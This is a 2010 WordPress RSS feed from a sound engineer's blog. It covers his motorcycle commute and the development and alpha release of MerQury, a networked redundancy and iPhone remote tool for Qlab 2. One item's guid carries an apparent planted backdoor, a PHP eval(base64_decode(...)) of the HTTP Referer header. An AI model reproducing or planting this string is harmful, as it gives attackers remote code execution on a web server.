<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jason Tratta</title>
	<atom:link href="http://jasontratta.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://jasontratta.com</link>
	<description>Sound Engineer / Designer and Cocoa Developer</description>
	<lastBuildDate>Sun, 11 Jul 2010 00:46:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Ride Report</title>
		<link>http://jasontratta.com/2010/07/10/ride-report/</link>
		<comments>http://jasontratta.com/2010/07/10/ride-report/#comments</comments>
		<pubDate>Sat, 10 Jul 2010 23:44:56 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Motorcycle]]></category>

		<guid isPermaLink="false">http://jasontratta.com/?p=293</guid>
		<description><![CDATA[It&#8217;s been a while since I have posted anything besides code stuff.  I am still really enjoying my motorcycle.  I ride it as often as possible.  Here is a little video I made to try out my new Cybershot TX-5.   This is what my mid-day commute to work looks like. Oh&#8230;and I finally replaced [...]]]></description>
			<content:encoded><![CDATA[<p><object width="320" height="192"><param name="movie" value="http://www.youtube.com/v/8JHoSXT1boc&amp;hl=en_US&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/8JHoSXT1boc&amp;hl=en_US&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="320" height="192"></embed></object></p>
<p>It&#8217;s been a while since I have posted anything besides code stuff.  I am still really enjoying my motorcycle.  I ride it as often as possible.  Here is a little video I made to try out my new Cybershot TX-5.   This is what my mid-day commute to work looks like.</p>
<p>Oh&#8230;and I finally replaced those loud ass pipes.  The bike is super quiet now&#8230;maybe too quiet.</p>
]]></content:encoded>
			<wfw:commentRss>http://jasontratta.com/2010/07/10/ride-report/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Updating the train wreck</title>
		<link>http://jasontratta.com/2010/07/10/updating-the-train-wreck/</link>
		<comments>http://jasontratta.com/2010/07/10/updating-the-train-wreck/#comments</comments>
		<pubDate>Sat, 10 Jul 2010 19:41:07 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://jasontratta.com/JT/?p=288</guid>
		<description><![CDATA[I&#8217;m working on updating this site.  It was in pretty bad shape and hadn&#8217;t really been updated since&#8230;oh 2005?  Thats some old and sluggish tech.   I&#8217;m going to keep things simple this time around.  I&#8217;m not very good at the whole web design thing.  Besides, its not like a lot of people swing through [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m working on updating this site.  It was in pretty bad shape and hadn&#8217;t really been updated since&#8230;oh 2005?  Thats some old and sluggish tech.   I&#8217;m going to keep things simple this time around.  I&#8217;m not very good at the whole web design thing.  Besides, its not like a lot of people swing through here anyway.</p>
<p>So if you run into some strange error, it should be soon fixed.</p>
]]></content:encoded>
			<wfw:commentRss>http://jasontratta.com/2010/07/10/updating-the-train-wreck/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MerQury and Other News</title>
		<link>http://jasontratta.com/2010/07/09/merqury-and-other-news/</link>
		<comments>http://jasontratta.com/2010/07/09/merqury-and-other-news/#comments</comments>
		<pubDate>Fri, 09 Jul 2010 10:08:00 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://jasontratta.com/?p=286</guid>
		<description><![CDATA[Hello everybody! It&#8217;s been quite a while here since any update and I have some news about MerQury. But first, let me give you a bit of history. Act I Almost a year ago, I was given the challenge to implement a fast and cheap way of creating a redundant backup system for Qlab 2. [...]]]></description>
			<content:encoded><![CDATA[<p>Hello everybody!</p>
<p>It&#8217;s been quite a while here since any update and I have some news about MerQury.</p>
<p>But first, let me give you a bit of history.</p>
<p><strong>Act I</strong></p>
<p>Almost a year ago, I was given the challenge to implement a fast and cheap way of creating a redundant backup system for Qlab 2.   I had an idea rumbling around my head about an array of Qlab machines working on concert over a network and here was the opportunity to start working on this idea.   Hey&#8230;but what else could work over the network?  The iPhone!</p>
<p>I should note, at this point I am very much in my adolescence as a software developer.  I had done a bit of homework about the technology needed to create MerQury but, I couldn&#8217;t really see all the moving parts ahead of time.  Anyway&#8230;.I got a really dirty redundancy solution working.  On that, I started building in an iPhone server and iPhone remote.  I got a basic version working&#8230;play, pause, forward.  It really wasn&#8217;t what I envisioned.  I wanted to be able to select cues at random and have controls totally custom to the iPhone.   This sent me down a road for which I am thankful, I got my hands dirty in all kinds of Cocoa frameworks that I probably wouldn&#8217;t have.   I rewrote the network code from the ground up&#8230;twice&#8230;and I got a really solid handle on Core Data.   As of this post, MerQury is still really good at creating a fast redundancy machine&#8230;and the Blind Editor is a pretty cool idea.</p>
<p>There is a roadblock though, and its Apple&#8217;s Scripting Bridge.  MerQury really pushes what it was designed to do.  Scripting Bridge in essence allows developers the ability to let users create their own utility scripts and apps.   In MerQury&#8217;s case, there are still a few missing pieces to the overall puzzle.  But one of the most problematic features of Scripting Bridge is it&#8217;s &#8220;back seat&#8221; nature.  Imagine a car.  In the drivers seat is the application, like Qlab, you are trying to talk to.   Never in its whole life says a word to you&#8230;unless you ask.  You end up asking (amazingly fast) over and over, &#8220;Are we there yet?&#8221;  So&#8230;the very nature of SB has made it particularly challenging.</p>
<p><strong>Act II </strong></p>
<p>There are 2 new applications in development here that are soaking up all my development time.  One about 4-6 months out is a non-theatre related iPad app.  The other a non-sound related theatre application which I believe to be a whole new class of theatre software.  I&#8217;m really excited about it and all my spare time outside of work is spent here these days.</p>
<p>So what about MerQury?  I&#8217;m going to keep working on it but, not as much as I had been.    I do think that there are some useful bits of code in here that could be valuable to the Qlab community.   For example, how MerQury imports cue information into Core Data is useful for a number of other types of utilities.   So below is a link to its now open Github store.</p>
<p>All official updates will still come though on MerQurys updater.  Oh&#8230;and if you end up using some of the code&#8230;let me know!</p>
<p><a href="http://github.com/jason-tratta/MerQury">http://github.com/jason-tratta/MerQury</a></p>
]]></content:encoded>
			<wfw:commentRss>http://jasontratta.com/2010/07/09/merqury-and-other-news/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blind Editor Preview Released in MerQury</title>
		<link>http://jasontratta.com/2010/04/11/blind-editor-preview-released-in-merqury/</link>
		<comments>http://jasontratta.com/2010/04/11/blind-editor-preview-released-in-merqury/#comments</comments>
		<pubDate>Sun, 11 Apr 2010 21:44:59 +0000</pubDate>
		<dc:creator>jason</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://jasontratta.com/?p=284</guid>
		<description><![CDATA[If you are interested in trying out the alpha release of MerQury&#8217;s blind cue editor it is now available.   Either download it from here, or use &#8220;Check for updates&#8221; in app under the File menu. Be sure to grab a new copy of the documentation if you need it. MerQury Alpha Doc Remember.  This [...]]]></description>
			<content:encoded><![CDATA[<p>If you are interested in trying out the alpha release of MerQury&#8217;s blind cue editor it is now available.   Either download it from here, or use &#8220;Check for updates&#8221; in app under the File menu.</p>
<p>Be sure to grab a new copy of the documentation if you need it.</p>
<p><a href="http://www.jasontratta.com/downloads/software/MerQuryDoc.pdf">MerQury Alpha Doc</a></p>
<p>Remember.  This is totally just a preview release, bugs and all.  Enjoy.</p>
<p><span style="font-size: x-large;"><a href="http://www.jasontratta.com/downloads/software/MerQury.dmg">Download</a></span></p>
]]></content:encoded>
			<wfw:commentRss>http://jasontratta.com/2010/04/11/blind-editor-preview-released-in-merqury/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MerQury Available for Public Alpha</title>
		<link>http://jasontratta.com/2010/03/26/merqury-available-for-public-alpha/</link>
		<comments>http://jasontratta.com/2010/03/26/merqury-available-for-public-alpha/#comments</comments>
		<pubDate>Fri, 26 Mar 2010 17:29:24 +0000</pubDate>
		<dc:creator>jason</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://jasontratta.com/?p=278</guid>
		<description><![CDATA[After much debate I am releasing the current build of MerQury to the interested public.  This is a limited feature release, and as things are perfected, features will be pushed live. You will be able to try out the early version of MerQury&#8217;s simple system redundancy, which has been running on Shakespeare Theatre Companies Qlab [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-257" title="Q-150x150.jpg" src="http://jasontratta.com/JT/wp-content/uploads/2009/12/Q-150x1501.jpg" alt="Q-150x150.jpg" width="150" height="150" /> After much debate I am releasing the current build of MerQury to the interested public.  This is a limited feature release, and as things are perfected, features will be pushed live.</p>
<p>You will be able to try out the early version of MerQury&#8217;s simple system redundancy, which has been running on Shakespeare Theatre Companies Qlab 2 based shows for the last 4 months.</p>
<p>I&#8217;ve had several emails asking for this&#8230;so here it is.  Give it a try and let me know what you think.</p>
<p>Keep in mind. Alpha Release.  There are still some bugs&#8230;and you&#8217;ll see some things in there that are coming&#8230;and kinda sorta work.</p>
<p>And now!  Presenting MerQury!</p>
<p><strong><span style="font-size: x-large;"><a href="http://www.jasontratta.com/downloads/software/MerQury.dmg">Download</a></span></strong> <strong><span style="font-size: x-large;"> </span></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://jasontratta.com/2010/03/26/merqury-available-for-public-alpha/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Deadlines n&#039; Multiple Projects</title>
		<link>http://jasontratta.com/2010/03/25/deadlines-n-multiple-projects/</link>
		<comments>http://jasontratta.com/2010/03/25/deadlines-n-multiple-projects/#comments</comments>
		<pubDate>Fri, 26 Mar 2010 02:48:38 +0000</pubDate>
		<dc:creator>jason</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://jasontratta.com/?p=274</guid>
		<description><![CDATA[You always hear software developers say things like, &#8220;It&#8217;s done when it&#8217;s done.&#8221;  in response to questions about release dates.  I use to give those devs a hard time&#8230;I mean&#8230;how hard can it be to release software.  Let me tell ya&#8230;its not a cake walk. I had originally thought MerQury for OSX  AND the iPhone [...]]]></description>
			<content:encoded><![CDATA[<p>You always hear software developers say things like, &#8220;It&#8217;s done when it&#8217;s done.&#8221;  in response to questions about release dates.  I use to give those devs a hard time&#8230;I mean&#8230;how hard can it be to release software.  Let me tell ya&#8230;its not a cake walk.</p>
<p>I had originally thought MerQury for OSX  AND the iPhone would have been out by now.  Not even close.</p>
<p>I had to make the decision to rewrite the entirety of MerQury&#8217;s networking code several months ago.   The application is based around a networking concept, if this code didn&#8217;t work right everything else would be garbage.  It took a lot of time but, it works a ton better now.    The good news: I hope to get something out very soon.  It will come in the form of a reduced feature set alpha.  The system redundancy feature is working pretty well in the STC trenches.</p>
<p>I have also taken on 2 other coding projects which brings me to 4 active projects, and a full time plus job.   I&#8217;m not done with QAutoSaver just yet either!</p>
<p>I&#8217;m enjoying the challenge.  I&#8217;d like to think I&#8217;m building a better future for myself while also helping the arts I love.</p>
<p>More soon.  Back to sound engineering and software making.</p>
]]></content:encoded>
			<wfw:commentRss>http://jasontratta.com/2010/03/25/deadlines-n-multiple-projects/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A Real Update</title>
		<link>http://jasontratta.com/2010/01/28/a-real-update/</link>
		<comments>http://jasontratta.com/2010/01/28/a-real-update/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 19:06:58 +0000</pubDate>
		<dc:creator>jason</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://jasontratta.com/?p=265</guid>
		<description><![CDATA[I feel I&#8217;m a little over due on an update with where MerQury&#8217;s development is.  So here is the whole bag of beans. Qloud becomes MerQury I posted several months ago about an application idea called &#8216;Qloud.&#8217;   That project has offically been renamed MerQury.  It turns out Qloud is already a product. Development thus [...]]]></description>
			<content:encoded><![CDATA[<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande';">I feel I&#8217;m a little over due on an update with where MerQury&#8217;s development is.  So here is the whole bag of beans.</p>
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande'; min-height: 15.0px;">
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande';"><strong>Qloud becomes MerQury</strong></p>
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande';">I posted several months ago about an application idea called &#8216;Qloud.&#8217;   That project has offically been renamed MerQury.  It turns out Qloud is already a product.</p>
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande'; min-height: 15.0px;">
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande';"><strong>Development thus far:</strong></p>
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande';">Today MerQury is in alpha testing at Shakespeare Theatre Comapany in Washington, DC (I happen to be an engineer there).   The application is being used to &#8220;sync&#8221; two macs running Qlab together over a network connection.  It still works like I described in my December 13th post.</p>
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande'; min-height: 15.0px;">
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande';">I also have a native iPhone remote working. Its still very basic.  Here&#8217;s the sneak peak video I released to youtube.  It&#8217;s going to get quite complex.</p>
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande';"><a href="http://www.youtube.com/watch?v=F89-njYzVVs">http://www.youtube.com/watch?v=F89-njYzVVs</a></p>
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande'; min-height: 15.0px;">
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande';">A lot of work has been going into debugging code and refineing the UI.  Here is a an image of the latest build.</p>
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande';">
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande'; min-height: 15.0px;"><img class="aligncenter size-medium wp-image-267" title="MQA10" src="http://jasontratta.com/wp/wp-content/uploads/2010/01/MQA10-299x300.png" alt="MQA10" width="299" height="300" /></p>
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande'; min-height: 15.0px;">
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande';"><strong>Logo / Icon</strong></p>
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande';">I have to give a big shout out to Tom Hayward for creating the MerQury logo.   If you need graphics work&#8230;he&#8217;s your guy.</p>
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande';"><a href="http://thomasdhayward.com/">http://thomasdhayward.com/</a></p>
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande'; min-height: 15.0px;">
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande'; min-height: 15.0px;">
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande';"><strong>ToDo Before Release:</strong></p>
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande';">There are still several bugs to chase down before I can release to the public.</p>
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande';">I would also like to implement  MIDI and OSC support for the beta release.  Its getting close, a month or two I hope.</p>
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande'; min-height: 15.0px;">
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande'; min-height: 15.0px;">
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande';"><strong>Features to come:</strong></p>
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande';">There is a rather long list of functionality I would like to add.   Once the basic desktop version is working, my focus will shift heavily to finishing the iPhone / iPod Touch versions&#8230;which I imagine will lay the goundwork for a iPad version.</p>
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande'; min-height: 15.0px;">
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande';">Development continues as fast as possible. 60+ hours a week at work is really slowing me down. Go figure. More to come!</p>
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande'; min-height: 15.0px;">
<p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Lucida Grande';">Oh&#8230;and thanks for stopping by!</p>
]]></content:encoded>
			<wfw:commentRss>http://jasontratta.com/2010/01/28/a-real-update/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MerQury Update</title>
		<link>http://jasontratta.com/2010/01/19/merqury-update/</link>
		<comments>http://jasontratta.com/2010/01/19/merqury-update/#comments</comments>
		<pubDate>Tue, 19 Jan 2010 17:56:09 +0000</pubDate>
		<dc:creator>jason</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://jasontratta.com/?p=263</guid>
		<description><![CDATA[Just a quick update.   Coding and testing continues.   If you haven&#8217;t heard, I have a working prototype of MerQury on the iPhone.  No release date set yet&#8230;.but it&#8217;s getting close.]]></description>
			<content:encoded><![CDATA[<p>Just a quick update.   Coding and testing continues.   If you haven&#8217;t heard, I have a working prototype of MerQury on the iPhone.  No release date set yet&#8230;.but it&#8217;s getting close.</p>
]]></content:encoded>
			<wfw:commentRss>http://jasontratta.com/2010/01/19/merqury-update/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MerQury</title>
		<link>http://jasontratta.com/2009/12/13/merqury/</link>
		<comments>http://jasontratta.com/2009/12/13/merqury/#comments</comments>
		<pubDate>Sun, 13 Dec 2009 16:05:41 +0000</pubDate>
		<dc:creator>jason</dc:creator>
				<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://jasontratta.com/?p=258</guid>
		<description><![CDATA[&#8220;Messenger of the cue gods.&#8221; MerQury MerQury is my second application for use with Figure 53’s Qlab 2. MerQury was developed as a simple way to implement a redundant Qlab system over an easy to use network setup. Admittedly, it’s not the best solution. There is a bit of latency between the pressing of “Go” [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://jasontratta.com/JT/wp-content/uploads/2009/12/Q-150x1501.jpg" alt="Q-150x150.jpg" border="0" width="150" height="150" /></p>
<p>&#8220;Messenger of the cue gods.&#8221;</p>
<p>MerQury</p>
<p>MerQury is my second application for use with Figure 53’s Qlab 2. MerQury was developed as a simple way to implement a redundant Qlab  system over an easy to use network setup.</p>
<p>Admittedly, it’s not the best solution.  There is a bit of latency between the pressing of “Go” on one system and the cue going on the second system.  MerQury cheats by pushing the load time on the backup computer forward a fraction of a second to compensate until it’s called into show duty.</p>
<p>It is, however, the cheapest, fastest, easiest solution.   No matter what hardware configuration you have on either machine, as long as they have the same Qlab 2 file and a network port, you’ll have a parachute.</p>
<p>MerQury is easy to setup.  Simply make sure your Macs are on the same network, and MerQury will use Bonjour to automatically find copies of itself running online.  After that, a few clicks on each computer and you’re set.</p>
<p>MerQury is currently in the alpha testing phase.   The image below is an early build to test the underlying code.</p>
<p><img src="http://jasontratta.com/JT/wp-content/uploads/2009/12/MerQury-Alpha-284x3001.png" alt="MerQury-Alpha-284x300.png" border="0" width="284" height="300" />Look mom, I&#8217;m ugly!</p>
<p>In the coming weeks, MerQury will be available for beta download and testing.</p>
<p>BUT WAIT!!!</p>
<p>..there’s more.  It turns out the networking code will theoretically let many Qlab systems to talk to each other.  Hot on the heels of the 1.0 release, I’ll be working to add a multitude of features.</p>
<p>Stay tuned!</p>
]]></content:encoded>
			<wfw:commentRss>http://jasontratta.com/2009/12/13/merqury/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitter Log for 2009-10-02</title>
		<link>http://jasontratta.com/2009/10/02/twitter-log-for-2009-10-02/</link>
		<comments>http://jasontratta.com/2009/10/02/twitter-log-for-2009-10-02/#comments</comments>
		<pubDate>Sat, 03 Oct 2009 02:00:00 +0000</pubDate>
		<dc:creator>jason</dc:creator>
				<category><![CDATA[Right Now]]></category>
		<category><![CDATA[microblog]]></category>
		<category><![CDATA[tweets]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://jasontratta.com/2009/10/02/twitter-log-for-2009-10-02/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</guid>
		<description><![CDATA[Oh ya&#8230;.5 dance companies all asking me for different things at 8am. Totally sweet. *cough* #]]></description>
			<content:encoded><![CDATA[<ul class="aktt_tweet_digest">
<li>Oh ya&#8230;.5 dance companies all asking me for different things at 8am.  Totally sweet. *cough* <a href="http://twitter.com/Az0167/statuses/4552807135">#</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://jasontratta.com/2009/10/02/twitter-log-for-2009-10-02/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
